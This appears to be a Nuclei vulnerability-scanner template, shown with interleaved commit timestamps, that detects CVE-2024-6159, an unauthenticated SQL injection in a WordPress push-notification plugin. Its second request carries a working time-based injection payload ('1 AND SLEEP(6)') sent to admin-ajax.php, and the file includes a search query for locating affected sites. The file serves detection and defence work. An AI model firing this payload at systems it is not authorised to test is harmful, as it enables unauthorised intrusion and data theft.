nuclei-templates/http/cves/2024/CVE-2024-6159.yaml

53 lines
2.2 KiB
YAML
Raw Normal View History

2024-09-05 13:02:33 +00:00
id: CVE-2024-6159
info:
name: Push Notification for Post and BuddyPress <= 1.93 - SQL Injection
author: s4e-io
severity: critical
description: |
Push Notification for Post and BuddyPress plugin for WordPress is vulnerable to SQL Injection via the 'onesignal_externalid' and 'onesignal_get_subscriptionoptions_id' paramters in all versions up to, and including, 1.93 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/push-notification-for-post-and-buddypress/push-notification-for-post-and-buddypress-193-unauthenticated-sql-injection
- https://wpscan.com/vulnerability/de20ebda-b0bc-489e-a8d3-e9487a2b48e8/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2024-6159
metadata:
2024-09-06 06:27:08 +00:00
verified: true
2024-09-08 18:32:23 +00:00
max-request: 2
2024-09-05 13:02:33 +00:00
framework: wordpress
publicwww-query: "/wp-content/plugins/push-notification-for-post-and-buddypress"
2024-09-08 18:32:23 +00:00
tags: cve,cve2024,wpscan,wp-plugin,wordpress,push-notification
2024-09-05 13:02:33 +00:00
flow: http(1) && http(2)
http:
- raw:
- |
2024-09-08 18:32:23 +00:00
GET / HTTP/1.1
2024-09-05 13:02:33 +00:00
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
2024-09-08 18:32:23 +00:00
- 'contains(body, "/wp-content/plugins/push-notification-for-post-and-buddypress")'
2024-09-05 13:02:33 +00:00
internal: true
- raw:
- |
2024-09-08 18:32:23 +00:00
@timeout 50s
2024-09-05 13:02:33 +00:00
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
action=icpushcallback&onesignal_externalid=1+AND+SLEEP(6)&pushtype=onesignal_subscribed_users
matchers:
- type: dsl
dsl:
- 'duration>=6'
- 'contains(content_type,"text/html")'
- 'status_code == 200'
condition: and
2024-09-08 18:43:38 +00:00
# digest: 4a0a00473045022100ef9c46702e7c567f42d222e0302a0dca26c2c7c554442c198a024cd848198d1702206589b6344625c0b7cba63b49d9c78aed5e01b26943c1e673a09a1adc90ff919a:922c64590222798bb761d5b6d8e72950